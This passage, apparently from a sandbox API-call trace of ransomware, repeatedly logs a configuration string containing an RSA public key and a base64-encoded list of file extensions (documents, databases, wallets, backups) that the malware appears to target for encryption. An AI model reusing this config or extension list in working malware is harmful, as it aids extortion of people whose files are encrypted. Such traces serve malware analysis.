LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLn